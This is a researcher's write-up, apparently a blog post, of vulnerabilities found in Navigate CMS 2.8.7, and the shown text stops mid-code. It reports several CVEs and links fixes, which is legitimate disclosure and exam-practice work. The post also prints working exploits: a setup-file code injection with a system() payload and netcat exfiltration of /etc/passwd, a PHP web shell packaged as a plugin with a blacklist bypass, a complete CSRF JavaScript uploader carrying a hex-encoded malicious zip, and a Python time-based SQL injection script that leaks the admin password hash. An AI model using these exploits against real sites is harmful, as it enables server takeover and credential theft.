Chivato
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # Finding vulnerabilities in an open-source CMS. ## What is the product and why this product? Navigate CMS is "a powerful and intuitive content management system for everybody." This CMS is used to keep multiple websites managed and updated via the easy-to-use user interface. I chose this application to dig into for vulnerabilities, so that I could practice for my upcoming OSWE exam, while also potentially getting some CVE's under my belt. ## Installing the application. During the application install, I ran into some issues, so I thought I would address them here, and how I fixed them. As this could come in handy for future testers. This setup is for version 2.8.7, which is the latest release at the time of this blog post's creation. When you install the application, it may have changed, and some of these issues may be fixed. 1. Download the initial zip from the website. Mine is called `navigate-2.8.7r1401.zip`. 2. Unzip the file into your webroot (`unzip navigate-2.8.7r1401.zip`). 3. Go to your setup.php file on your webserver, make sure PHP is installed, MySQL is running, and your webserver is up. 4. Make sure all of the issues on 1/5 are OK, and click next. Some of these issues are simply caused by misconfigurations or missing PHP extensions. 5. You will then need to fill in application owner name ([Check out this vulnerability I found in the setup.php file](#Interesting-find-in-the-setupphp-file)) amongst other information. 6. Next you fill in database information, this includes username, password, and database. If you haven't set these up, they can be setup with: ``` sudo mysql -e "GRANT ALL PRIVILEGES ON *.* TO 'db_admin'@'localhost' IDENTIFIED BY 'password_goes_here';" sudo mysql -e "CREATE DATABASE navigate;" ``` 7. Once these are created, you can click on import database, and, you may notice the "Create user account" step gets stuck. If so, simply modify the GET parameter called "step" in your URL, set it to 5. 8. Finally, click the "do it for me!" button on the final installation tab, and you are finished... or not. 9. After logging in, you will most likely be greeted with the following error: ![](https://i.imgur.com/fijilPl.png) 10. The way I fixed this, was by finding the php file that caused the error (/var/www/html/navigate/lib/packages/websites/website.class.php) and after taking a closer look. 11. The error shows `Incorrect integer value: '' for column 'shop_logo'`, which means the database expected an integer, but got a string. Hmmmm, the column is called "shop_logo", but I don't remember setting an image anywhere, maybe it defaulted to a string, and the database expected an integer. 12. Reading through the file, we get to the defaults part of the file, and notice that this specific value, does indeed default to `""`, so we can replace that with a `0`, and refresh the page. ``` ":shop_logo" => value_or_default($this->shop_logo, ""), ``` Becomes ``` ":shop_logo" => value_or_default($this->shop_logo, 0), ``` 13. We refresh the page, and finally, everything seems to be working fine. Now we can start hunting. ## Setting up my environment for white-box testing. For the white-box test, I have a fairly basic setup, but I like to think it is very effective for my personal hacking style. This can vary, and you should find the best way for you, this is just an example of what I did. I have two monitors, on one I have a terminal, split into two panes with tmux. On the top pane, I have the application source code, in `/var/www/html/APPLICATION/`. On the bottom half, I have tail watching the MySQL logs. This can be achieved by adding: ``` [mysqld] general_log_file = /var/log/mysql/mysql.log general_log = 1 ``` To your /etc/mysql/my.cnf file, and then running `sudo tail -f /var/log/mysql/mysql.log`. On the other pane I have my browser, with hackmd open in one tab to keep notes, and the application in another. I also have burp open, and an incognito mode tab to test certain access controls. ## Personally used methodology. 1. Remember to keep an open mind about the possibilities of how each function works, and how it could be exploited. 2. Get a feel for the application from a black box perspective. 3. When unusual activity is recognized, read the source code and trace the execution path to see exactly what is happening. 4. Keep notes of everything you notice / find, you don't know what may be useful later on. # Vulnerabilities and thought process of each. ## Interesting find in the setup.php file ([Fix](https://github.com/NavigateCMS/Navigate-CMS/commit/d7cef6b2c34389d11e078b911833fb6f13edd177)). When setting up the application, I reached the step that allowed me to choose the application name, and set it to an XSS payload (for good practice). Later on in the installation, I got an error, (specifically `Parse error: syntax error, unexpected '<' in /var/www/html/navigate/cfg/globals.php on line 8`) saying there was an error in the globals.php file, so after reading that file, I noticed that the double quote in my XSS payload wasn't escaped, so the string in the PHP file was actually terminated early, and I had PHP code injection in the globals.php file: ```php [...] define('APP_NAME', 'Navigate CMS'); define('APP_VERSION', '2.8.7 r1401'); define('APP_OWNER', "Chivy"><script>alert(1);</script>"); define('APP_REALM', "NaviWebs-NaviGate"); // used for password encryption, do not change! define('APP_UNIQUE', "nv_9ae6b86c165ea377b21cb8d0.49795113"); // unique id for this installation define('APP_DEBUG', false || isset($_REQUEST['debug'])); [...] ``` To verify this, I deleted all the existing files, and started this installation again, this time, I set the app owner name to be: `chivato");echo(system($_GET['cmd']));//` The installation then fails, but we can go to `http://localhost/navigate/cfg/globals.php?cmd=ls` and see if it worked. Hmmm, we get an error that states we are not allowed to display output on the page: ![](https://i.imgur.com/ogVzHv9.png) Looks like we have blind command injection, the solution I used of this is the typical output exfiltration over netcat or http based requests. I simply made the server request back to me, with the command output, for example: ``` http://localhost/cfg/globals.php?cmd=cat%20/etc/passwd%20|%20nc%20localhost%201337 ``` Leads to: ``` chiv@Dungeon:~$ nc -lvnp 1337 Listening on [0.0.0.0] (family 0, port 1337) Connection from 127.0.0.1 35470 received! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin [...] ``` Bingo! We can achieve RCE if the installation files have been left on the remote server. ## One Click RCE (CSRF + unrestricted file upload) (CVE-2020-12435 & CVE-2020-12436) Some of the best ways of achieving RCE in PHP applications that come to mind are: - By controlling the require() or include() function. - Uploading a malicious PHP file and accessing it from the website. - Deserialization vulnerabilities. - SQL Injection (by writing to a file). So after grepping for both `unserialize` and `include`/`require`, and finding no vulnerable looking uses. I took a look to see if I could find any file uploads within the PHP application. This could be for profile pictures, plugins, themes, attachments or anything else, as long as it accepts one of the PHP extensions ([List of some PHP extensions](https://www.studyhost.net/support/knowledgebase/53/What-are-valid-file-extensions-I-can-use-for-PHP-scripts.html)). We notice some features that seem to allow the creation / upload of new files, such as the theme tab, or the extensions / plugins tab. For now, I am going to focus on the plugins tab. While looking through the extensions page, we notice two plugins, one for Twitter, and one for votes. We also notice a small "install from file" in the top right corner. So I chose any random file and tried to upload it. I get an error that simply states `Error uploading file`. This is when I turned to my trusty source code for any hints as to what file type it expects. Both the themes and plugins features actually accept any input, zip or not, and stores it on the server, which is then publicly accessible, and can be used for command execution. This means I could just make a chiv.php file and upload it via the plugins, and even if it errors, it will still be accessible at `/var/www/html/navigate/plugins/chiv.php`. For the sake of good practice, I will act as if I need to build a valid ZIP file. Simply by grepping for the word "extension", I am led to a comment left by the developer. `grep -Ri "extension"` ``` lib/packages/extensions/extensions.php: // uncompress ZIP and copy it to the extensions dir ``` It seems to accept a ZIP file, and decompresses it into the "extensions" directory. I went into my own installation directory, and looked for a file called extensions or something similar. In my case, it turned out to be "plugins". So I took a deeper look at the specific "votes" plugin. The following files exist: - naviwebs.png & thumbnail.png - votes.info.html - votes.php - votes.plugin The first two are obviously just images for the plugin, but then we have some unusual files, each with the following content: #### votes.info.html: ```html <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style media="screen" type="text/css"> .navigate_wrapper_info { background: #E5F1FF; border-radius: 6px; margin: 10px auto; padding: 1px 20px 20px 20px; color: #595959; font-size: 12px; font-family: Verdana; } h1 { margin: 25px 0px 10px 0px; font-size: 17px; font-weight: bold; } h2 { margin: 25px 0px 10px 0px; font-size: 14px; font-weight: bold; } [... INFORMATION ABOUT THE PLUGIN ...] </div> </body> </html> ``` #### votes.php ```php <?php function nvweb_votes_plugin($vars=array()) { global $website; global $DB; global $current; global $template; $out = ''; [... ACTUAL PLUGINS PHP CODE ...] } return $html; } ?> ``` #### votes.plugin ```json { "title": "Votes (submit votes)", "version": "1.1", "author": "Naviwebs", "website": "http://www.naviwebs.com", "description": "Submit a user vote to Navigate CMS", "type": "website" } ``` These files all seem simple enough to replicate, so I built my own malicious zip file. #### votes.info.html: ```html <html> <body> <h1><center>Chivato Was Here!</center></h1> </body> </html> ``` #### chiv.php ```php <?php system($_GET['cmd']); ?> ``` #### chiv.plugin ```json { "title": "Chivato RCE", "version": "1.337", "author": "chivato", "website": "https://hackmd.io/@chivato", "description": "Remote Command Execution!", "type": "website" } ``` These files can then be zipped up together, and tried out on the application: ``` chiv@Dungeon:~/chiv$ ls chiv.info.plugin chiv.php chiv.plugin chiv@Dungeon:~/chiv$ zip chiv.zip ./* adding: chiv.info.plugin (stored 0%) adding: chiv.php (stored 0%) adding: chiv.plugin (deflated 31%) ``` Everything seems to be uploaded ok. Now we can navigate to the publicly accessible chiv.php file at `http://localhost/navigate/plugins/chiv/chiv.php`. ![](https://i.imgur.com/r4ggMcf.png) Perfect! We have RCE! Now one of the downsides of this vulnerability is that it requires authentication. Even though older versions of this app were vulnerable to login bypasses, the current one is not. So the next best thing is having the admin trigger some sort of XSS, or CSRF. I captured the upload ZIP request in burp and it looked like this: ``` POST /navigate/navigate.php?fid=extensions&act=extension_upload HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------403511733326492963523970428765 Content-Length: 936 Origin: http://localhost Connection: close Referer: http://localhost/navigate/navigate.php?fid=extensions Cookie: navigate-language=en; editor=7drrom2i20hh2i23seuaeb4kk2; front=0v5be0e1bgvd83hrpv0n74vgoq; __stripe_mid=02362ec0-2229-452c-b85e-38e08906325a; navigate-tinymce-scroll=%7B%7D; PHPSESSID=oji6p0panmltu02gj4ba11v6pb; NVSID_5abfd90e=oji6p0panmltu02gj4ba11v6pb Upgrade-Insecure-Requests: 1 -----------------------------403511733326492963523970428765 Content-Disposition: form-data; name="extension-upload"; filename="chiv.zip" Content-Type: application/zip ZIP BINARY DATA ``` Now, you may have noticed the lack of CSRF tokens. This immediately stood out to me, so I knew there must be a way to make an admin upload the malicious ZIP file for me, simply by opening a maliciously crafted HTML file in a browser that has their Navigate CMS admin cookies stored. I am not very good at writing JavaScript, so I did some research, and ended up using someone else's CSRF exploit as a template ([check out their exploit here!](http://blog.kotowicz.net/2011/05/invisible-arbitrary-csrf-file-upload-in.html)). The difficulties of making this exploit were the idea that I needed to send binary data somehow, which I later solved with hex literals, furthermore, I couldn't find out how to send multipart data forms using XHR (as you can see, kotowicz built the request manually in his javascript payload). [Here is a PoC video from the exploit working.](https://twitter.com/SecGus/status/1253466830016045056) __Post-Patch note__ They patched this vulnerability with the following fix: ```php= $prohibited_functions = array( 'eval(', 'system(', 'exec(', 'shell_exec(', 'popen(', 'proc_open(', 'passthru(', '`' // https://www.php.net/manual/en/language.operators.execution.php ); foreach($files as $file) { // remove all spaces $file_content = file_get_contents($file); $file_content = str_replace(array(' ', "\t", "\r", "\n"), '', $file_content); foreach($prohibited_functions as $pf) { if(stripos($file_content, $pf) !== false) { core_remove_folder($tempdir); return false; } } } ``` Essentially, it is a blacklist of words that iterates through the files and checks if the file contains that string. This was bypassed by using PHP to assign a custom name to the system function. This way, at no point in time is the "system" string used. [For example](https://twitter.com/SecGus/status/1267140367159300103) ```php <?php $sys = "sys"."tem"; $sys($_GET['cmd']); ?> ``` This bypasses the blacklist check and allows for the file to be uploaded, even though the system function is still being used. ### Final exploit: ```html <script> var logUrl = "http://localhost/navigate/navigate.php?fid=extensions&act=extension_upload"; function byteValue(x) { return x.charCodeAt(0) & 0xff; } function toBytes(datastr) { var ords = Array.prototype.map.call(datastr, byteValue); var ui8a = new Uint8Array(ords); return ui8a.buffer; } if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) { XMLHttpRequest.prototype.sendAsBinary = function(datastr) { this.send(toBytes(datastr)); } } function fileUpload(fileData, fileName) { var fileSize = fileData.length, boundary = "---------------------------399386530342483226231822376790", uri = logUrl, xhr = new XMLHttpRequest(); var additionalFields = { } var fileFieldName = "extension-upload"; xhr.open("POST", uri, true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8") xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request. xhr.setRequestHeader("Content-Length", fileSize); xhr.withCredentials = "true"; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) { if (xhr.responseText != "") { alert(JSON.parse(xhr.responseText).msg); // display response. } } else if (xhr.status == 0) { $("#goto").show(); } } } var body = ""; for (var i in additionalFields) { if (additionalFields.hasOwnProperty(i)) { body += addField(i, additionalFields[i], boundary); } } body += addFileField(fileFieldName, fileData, fileName, boundary); body += "--" + boundary + "--"; xhr.sendAsBinary(body); return true; } function addField(name, value, boundary) { var c = "--" + boundary + "\r\n" c += "Content-Disposition: form-data; name='" + name + "'\r\n\r\n"; c += value + "\r\n"; return c; } function addFileField(name, value, filename, boundary) { var c = "--" + boundary + "\r\n" c += "Content-Disposition: form-data; name='" + name + "'; filename='" + filename + "'\r\n"; c += "Content-Type: application/zip\r\n\r\n"; c += value + "\r\n"; return c; } var start = function() { var c = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x77\x9e\x97\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x1c\x00\x63\x68\x69\x76\x2f\x55\x54\x09\x00\x03\xc2\xe3\xa1\x5e\xdb\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00\xa4\x9d\x97\x50\x02\x75\x9f\x67\x85\x00\x00\x00\xc0\x00\x00\x00\x10\x00\x1c\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x70\x6c\x75\x67\x69\x6e\x55\x54\x09\x00\x03\x33\xe2\xa1\x5e\x42\xe2\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x55\x8d\x41\x0a\xc2\x30\x10\x45\xf7\x39\xc5\x90\xb5\x34\x48\x17\x42\x57\x4a\xc9\x05\xea\x09\x62\x32\x90\xa0\xe9\x84\x64\x5a\x15\xf1\xee\xda\xd8\x2e\xfc\xcb\xff\x1e\xff\xbf\x04\x7c\x23\x39\xf0\x0d\x65\x07\xf2\x34\xc0\x59\x6b\xd0\x72\xf7\x03\x33\xe6\x12\x68\x5c\xd0\xbe\x69\xdb\xc3\xd6\x9b\x89\x3d\xe5\xa5\xee\x7d\x98\x0d\xd3\x06\xee\x78\x29\x81\xeb\x96\x67\x4e\xa5\x53\xca\x1b\x7b\x8d\xae\x09\xa4\x8e\xf6\x5f\x76\x58\x6c\x0e\x89\xd7\x87\x01\x23\x31\x42\x4f\x31\x9a\xd1\x81\x7e\xa0\x9d\x2a\x5b\x75\x7e\xa6\x3a\xbc\x7d\x88\xb7\xf8\x00\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x1c\x9e\x97\x50\x37\x55\x33\xfd\x3b\x00\x00\x00\x3b\x00\x00\x00\x15\x00\x1c\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x69\x6e\x66\x6f\x2e\x70\x6c\x75\x67\x69\x6e\x55\x54\x09\x00\x03\x18\xe3\xa1\x5e\x06\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x3c\x68\x31\x3e\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x43\x68\x69\x76\x61\x74\x6f\x27\x73\x20\x52\x43\x45\x20\x70\x6c\x75\x67\x69\x6e\x20\x66\x6f\x72\x20\x4e\x61\x76\x69\x67\x61\x74\x65\x20\x43\x4d\x53\x2e\x3c\x2f\x68\x31\x3e\x0a\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x71\x9e\x97\x50\xfa\x43\x48\xab\x1f\x00\x00\x00\x1f\x00\x00\x00\x0d\x00\x1c\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x70\x68\x70\x55\x54\x09\x00\x03\xb5\xe3\xa1\x5e\xa4\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x3c\x3f\x70\x68\x70\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e\x0a\x50\x4b\x01\x02\x1e\x03\x0a\x00\x00\x00\x00\x00\x77\x9e\x97\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xff\x41\x00\x00\x00\x00\x63\x68\x69\x76\x2f\x55\x54\x05\x00\x03\xc2\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x50\x4b\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\xa4\x9d\x97\x50\x02\x75\x9f\x67\x85\x00\x00\x00\xc0\x00\x00\x00\x10\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x3f\x00\x00\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x70\x6c\x75\x67\x69\x6e\x55\x54\x05\x00\x03\x33\xe2\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x50\x4b\x01\x02\x1e\x03\x0a\x00\x00\x00\x00\x00\x1c\x9e\x97\x50\x37\x55\x33\xfd\x3b\x00\x00\x00\x3b\x00\x00\x00\x15\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xa4\x81\x0e\x01\x00\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x69\x6e\x66\x6f\x2e\x70\x6c\x75\x67\x69\x6e\x55\x54\x05\x00\x03\x18\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x50\x4b\x01\x02\x1e\x03\x0a\x00\x00\x00\x00\x00\x71\x9e\x97\x50\xfa\x43\x48\xab\x1f\x00\x00\x00\x1f\x00\x00\x00\x0d\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xa4\x81\x98\x01\x00\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x70\x68\x70\x55\x54\x05\x00\x03\xb5\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x50\x4b\x05\x06\x00\x00\x00\x00\x04\x00\x04\x00\x4f\x01\x00\x00\xfe\x01\x00\x00\x00\x00" fileUpload(c, "chiv.zip"); }; start(); </script> ``` ## Blind Time Based SQL Injection (CVE-2020-12437) While looking through the application, I came across a section made specifically for comments, where you can create, view, delete or edit comments made for other admins. I made a sample comment, and caught the request when changing the order of the comments out of curiousity. When doing this, I noticed some GET parameters appear in the URL of the request I caught. __Example initial URL__: `/navigate/navigate.php?fid=comments&act=1&_search=false&nd=1587756113828&rows=30&page=1&sidx=date_created&sord=desc` __Logs__: ``` 46 Query SELECT SQL_CALC_FOUND_ROWS id,object_type,object_id,user,email,date_created,status,message FROM nv_comments WHERE website = 1 ORDER BY date_created desc LIMIT 30 OFFSET 0 ``` The names of these parameters didn't initially stand out to me, but when I looked at my MySQL log tab, I noticed one of the values in a parameter was "date_created", and another was "desc". Which both seemed to appear in the SQL logs. After adding some random letters to both parameters, I get SQL errors. __URL with extra chars__: `/navigate/navigate.php?fid=comments&act=1&_search=false&nd=1587756113828&rows=30&page=1&sidx=date_createda&sord=desca` __SQL Error__: ``` Warning: PDO::query(): SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'desca LIMIT 30 OFFSET 0' at line 4 in /var/www/html/navigate/lib/core/database.class.php on line 247 Error: Call to a member function setFetchMode() on boolean in /var/www/html/navigate/lib/core/database.class.php:256 Stack trace: #0 /var/www/html/navigate/lib/packages/comments/comments.php(57): database->queryLimit('id,object_type,...', 'nv_comments', ' website = 1', 'date_createda d...', 0, 30) #1 /var/www/html/navigate/lib/core/core.php(150): run() #2 /var/www/html/navigate/navigate.php(243): core_run() #3 {main} (stored in /var/www/html/navigate/private/tmp/exception--2020-04-24--14-20--c331ab75d4.html) ``` So, we can see it is complaining about "desca". This means we are not simply limited to ASC or DESC in this field, and essentially, it is vulnerable to blind SQL Injection via the ORDER BY clause. I actually already have a post revolving around this kind of SQL Injection (https://hackmd.io/lq7nA3ISSoeiGjiHVn5CoA), so I will be using this a base. I also looked into how the database is structured, to see what the most valuable information to leak with the SQL Injection would be. I decided the superuser of the application was a good place to start, and of course, the first created user must be superuser. So I chose to leak the password hash of the user with ID 1. I was curious to find out more as to why this parameter is vulnerable, but others are not. So I dug into the code a bit, starting with what we know, the parameter names (`sord` and `sidx`). After moving into the location of my NavigateCMS installation, I can use grep to recursively grep throughout the application for these key strings. `grep -Ri "sidx" /var/www/html/navigate | grep -Ri "sord"` Now bare in mind, we know the code we are looking for is related to ORDER BY, and is part of a SQL query. It is also used in comments functionality, so we can filter down our current command output by also grepping for the key word "comments". `grep -Ri "sidx" /var/www/html/navigate | grep -Ri "sord" | grep -Ri "comments"` Bingo: ``` /var/www/html/navigate/lib/packages/comments/comments.php: $orderby= $_REQUEST['sidx'].' '.$_REQUEST['sord']; ``` So now we know the location of the vulnerability, let's try and understand the actual cause for the vulnerability. Reading through the `comments.php` file shows us they seem to be using the PHP correctly for the query by passing each variable as a parameter to the query as a separate value. ``` $DB->queryLimit('id,object_type,object_id,user,email,date_created,status,message','nv_comments',$where,$orderby,$offset,$max); ``` So where does it set each variable? ``` $page = intval($_REQUEST['page']); $max = intval($_REQUEST['rows']); $offset = ($page - 1) * $max; $orderby= $_REQUEST['sidx'].' '.$_REQUEST['sord']; $where = ' website = '.$website->id; ``` This is where they went wrong. For each integer value, they make sure it only accepts integers, they also only request information from the request when needed. The issue appears when they lack validation and sanitization on both sidx and sord, but then append them together for the same parameter. This allows us to control the whole ORDER BY clause without limitations. After further inspection of the application, it turns out this is not unique to the `comments.php` file, and the same SQL Injection vulnerability occurs in multiple places. Specifically, this vulnerability should also exist in: - /var/www/html/navigate/lib/packages/items/items.php - /var/www/html/navigate/lib/packages/websites/websites.php - /var/www/html/navigate/lib/packages/products/products.php - /var/www/html/navigate/lib/packages/blocks/blocks.php - /var/www/html/navigate/lib/packages/users/users.php - /var/www/html/navigate/lib/packages/coupons/coupons.php - /var/www/html/navigate/lib/packages/templates/templates.php And multiple others (run `grep -Ri "sidx" /var/www/html/navigate | grep "sord" | grep "\$_REQUEST"` in webroot for all occurrences). __NOTE:__ After further investigation, the best value to leak would not have been the password hash. This is due to the fact that we would have to crack the hash for it to be of any value to us. Alternatively, after checking the code for the login page, the only thing needed for the "reset password" function is an "activation_code" that is stored in the users table. We could have used a modified version of the exploit below to leak the value, and change the administrators password with a URL similar to the following: ``` /login.php?action=password-reset&value=[ACTIVATION CODE LEAKED FROM DB] ``` Supporting evidence for this being possible (in login.php): ```php <?php // are we on a password change process? if(isset($_REQUEST['action']) && $_REQUEST['action']=='password-reset') { $value = trim($_REQUEST['value']); // look for an existing username or e-mail in Navigate CMS users table $found_id = $DB->query_single( 'id', 'nv_users', 'activation_key = :activation_key', NULL, array(':activation_key' => $value) // SELECT 1 ID from the database where the activation key is equal to the one we entered ); if(!empty($found_id)) { $user->load($found_id); if(!empty($_REQUEST['login-password'])) { $user->activation_key = ''; $user->set_password(trim($_REQUEST['login-password'])); $user->save(); ?> <script language="javascript"> $(document).ready(function() { $('form:first').append('<div class="navigate-form-row" style=" padding-top: 20px; text-align: center; display: none; "></div>'); $('form:first').find('div:last').html('<span class="ok" style="color: #579A4D; font-weight: bold; "><img src="img/icons/silk/accept.png" width="16" height="16" align="absmiddle" /> <?php echo t(455, 'Your new password has been activated.');?></span>'); $('form:first').find('div:last').fadeIn('slow'); }); </script> <?php } else { ?> <script language="javascript"> $(document).ready(function() { $('#login-username').parent().remove(); $('#login-remember').parent().remove(); $('#login-button').remove(); $('#navigate-lost-password-dialog').remove(); $('form').attr('action', $('form').attr('action') + '?action=password-reset&value=<?php echo $value;?>'); $('form').append('<button id="login-button" style="margin-top: 20px; font-size: 14px; "><?php echo t(34, "Save");?></button>'); }); </script> <?php } } } ?> </html> <?php $DB->disconnect(); ?> ``` ### Final exploit: ```python import requests, time, string user = raw_input("Please enter your username: \n") password = raw_input("Please enter your password: \n") URL = raw_input("Enter the target URL (in this format 'http://domain.com/navigate/'): \n") s = requests.Session() data = {'login-username': (None, user), 'login-password':(None, password)} s.post(url = URL + "login.php", files = data) dictionary = string.ascii_lowercase + string.ascii_uppercase + string.digits final = "" while True: for x in dictionary: payload = '(SELECT (CASE WHEN EXISTS(SELECT password FROM nv_users WHERE password REGEXP BINARY "^' + str(final) + x + '.*" AND id = 1) THEN (SELECT sleep(5)) ELSE date_created END)); -- -' r = s.post(url = URL + "/navigate.php?fid=comments&act=1&rows=1&sidx=" + payload) if int(r.elapsed.total_seconds()) > 4: final += x print "Leaking contents of admin hash: " + final break else: pass ``` ## Template path traversal leads to RCE (CVE-2020-13795). For this vulnerability, I looked into the "templates" feature of the application. It seems we can edit any file in the application's templates directory, for example: `/var/www/html/navigate/private/1/templates/` My initial thought was to traverse out of the current directory and read the global config file (located at `/var/www/html/navigate/cfg/globals.php`). I was able to exploit this with the simple "../", and I reported it to Navigate, who then issued a fix, and asked me to re-test the feature. After taking a quick look, it seemed that all the application was doing was stripping "../" from the path, as seen in the code below (specifically line 4): ```php= public function load_from_post() { $this->title = $_REQUEST['title']; $this->file = str_replace(array('../', '..\\'), '', $_REQUEST['file']); $this->permission = intval($_REQUEST['permission']); $this->enabled = intval($_REQUEST['enabled']); // sections $this->sections = array(); if(empty($_REQUEST['template-sections-code'])){ $_REQUEST['template-sections-code'] = array(); } for($s = 0; $s < count($_REQUEST['template-sections-code']); $s++){ if(empty($_REQUEST['template-sections-code'][$s])){ continue; } $this->sections[] = array( 'code' => $_REQUEST['template-sections-code'][$s], 'name' => $_REQUEST['template-sections-name'][$s], 'editor' => $_REQUEST['template-sections-editor'][$s], 'width' => $_REQUEST['template-sections-width'][$s] ); } if(empty($this->sections)){ $this->sections = array( 0 => array( 'code' => 'id', 'name' => '#main#', 'editor' => 'tinymce', 'width' => '960' ) ); } $this->gallery = intval($_REQUEST['gallery']); $this->comments = intval($_REQUEST['comments']); $this->tags = intval($_REQUEST['tags']); $this->statistics = 